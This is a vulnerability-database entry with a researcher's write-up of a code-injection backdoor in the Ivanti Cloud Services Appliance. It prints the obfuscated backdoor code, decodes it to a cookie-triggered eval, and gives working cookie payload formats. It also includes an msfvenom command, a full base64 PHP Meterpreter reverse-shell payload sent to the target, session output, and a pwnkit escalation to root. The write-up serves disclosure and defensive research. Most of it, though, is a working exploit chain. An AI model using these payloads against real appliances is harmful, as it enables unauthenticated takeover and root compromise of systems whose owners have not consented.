9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.971 High
EPSS
Percentile
99.8%
A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
Recent assessments:
h00die-gr3y at January 08, 2023 9:32am UTC reported:
During the boring Christmas Days, — those days where you have to sit together, be nice to each other and eat and drink too much —, I stumbled upon this RCE where surprisingly not much was published on the analysis of this vulnerability.
It was discovered in December 2021 by the security researcher Jakub Kramarz
and is affecting the Ivanti Cloud Services Appliance for Avanti Endpoint Manager
versions before 4.6.0-512
.
It allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).
if you read the security advisory, Ivanti Security Advisory 2021-12-02, it mentions that the vulnerable code is located in the /opt/landesk/broker/webroot/lib/csrf-magic.php
and the target endpoint is /client/index.php
.
> To mitigate the issue, make a backup of the file and manually edit as follows: Remove the ten lines near the end of the file that start with “// Obscure Tokens” > but leave in the last 6 lines of code which follow which is the section that starts with “// Load user configuration”.
After some research on the Internet, i managed to lay my hands on a vulnerable virtual appliance and installed it in Virtualbox
.
After searching in the file /opt/landesk/broker/webroot/lib/csrf-magic.php
, I indeed found the vulnerable code mentioned in the security advisory (see code snippet below)
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();
Interesting, right? Because it clearly looks like some hidden code…
If you just copy this in a php file and run it you will soon understand that it dynamically generates a function that enables a cookie based RCE.
Note: create_function()
is deprecated in PHP 8 and above
<?php
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); // $zmto();
$hvg= $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom));
echo "$lviw\n";
echo "$xytu\n";
echo "$murp\n";
echo "$hvg\n";
echo "$zmto\n";
Output
str_replace
base64_decode
create_function
$c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
lambda_1
The code line $c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
is the one with the logic.
It uses the $_COOKIE
as the input and it checks the count of the cookie pairs which should be more then 3 and the first cookie pair value should be ab
. If these conditions match it will use the cookie pair value matching the count – 3 containing base64 PHP code , sanitizes the base64 code (remove whitespace etc) and decodes it for execution in the eval
function which natively executes PHP code. The result of the command execution can be found in the HTTP response between the tags <c123></c123>
.
Some examples of Cookie headers that will work:
Example 1 (count =4) –> payload at 2nd pair: Cookie: hello=ab; exec=<base64 php payload>; cuckoo=; clock=;
Example 2 (count =5) –> payload at 3th pair: Cookie: thisisnice=ab; skipthisone=; executethisone=<base64 php payload>; b=; c=;
Example 3 (count =6) –> payload at 4th pair: Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=<base64 php payload>; b=; c=;
Payload should be native PHP code and base64
encoded.
The most interesting question however is, why this is added to the code? It is a left-over from testing or more likely, a backdoor to get access to the appliances?
I do know the answer, but if you check with Shodan
, you will still find more then 2000 of these appliances connected to the Internet from which around15% still runs this vulnerable version.
Let’s play a bit with Burpsuite to see if the logic works…
Example one – system(“id”);
GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; executethisone=c3lzdGVtKCJpZCIpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close
Output
HTTP/1.1 200 OK
Set-Cookie:LDCSASESSID=ttki9kounanus8fqm19juo3am6; path=/; secure; HttpOnly
Expires:Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma:no-cache
X-Frame-Options:sameorigin
X-Content-Type-Options:nosniff
Strict-Transport-Security:max-age=31536000; includeSubDomains; preload
X-XSS-Protection:1; mode=block
Referrer-Policy:no-referrer
Content-type:text/html
Content-Length:7161
Date:Sun, 08 Jan 2023 05:29:50 GMT
<c123>uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
</c123>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Ivanti® Cloud Services Appliance
etc....
Example two – php meterpreter
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.41 LPORT=4444 -f raw | base64
Setup a multi/handler with payload php/meterpreter/reverse_tcp
Burp request
GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMTAwLjcnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close
Metasploit
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > [*] Sending stage (39927 bytes) to 192.168.100.41
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59422) at 2023-01-08 10:00:10 +0000
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nobody
meterpreter >
The appliance has a rich set of tooling such as python
, netcat
, bash
, perl
and others installed so the attack surface is pretty broad.
One point of attention however is that the attack surface for the appliances running in the wild might be restricted because of the hardening. For instance, most of the appliances only allow in and outbound traffic on port 80 and 443 (see Hardening CSA appliance).
If you have established a foothold on the appliance, you can get to root
because the underlying CentOS is vulnerable to CVE-2021-4034.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION 1 yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 5555 yes The listen port
Exploit target:
Id Name
-- ----
0 x86_64
View the full module info with the info, or info -d command.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit
[*] Started reverse TCP handler on 192.168.100.7:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.zcbstvgmiy
[+] The target is vulnerable.
[*] Writing '/tmp/.shmkphpno/qwsfmu/qwsfmu.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.shmkphpno
[*] Sending stage (3045348 bytes) to 192.168.100.41
[+] Deleted /tmp/.shmkphpno/qwsfmu/qwsfmu.so
[+] Deleted /tmp/.shmkphpno/.xlfjhsej
[+] Deleted /tmp/.shmkphpno
[*] Meterpreter session 2 opened (192.168.100.7:5555 -> 192.168.100.41:43842) at 2023-01-08 10:25:05 +0000
meterpreter > getuid
Server username: root
meterpreter >
I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the References section.
Follow the guidance in security advisory Ivanti Security Advisory 2021-12-02.
Ivanti Security Advisory 2021-12-02
Packetstorm
Metasploit Development h00die-gr3y
Credits goes to the security researchers below who discovered and analyzed this vulnerability.
Assessed Attacker Value: 5
Assessed Attacker Value: 5Assessed Attacker Value: 5
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.9 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.971 High
EPSS
Percentile
99.8%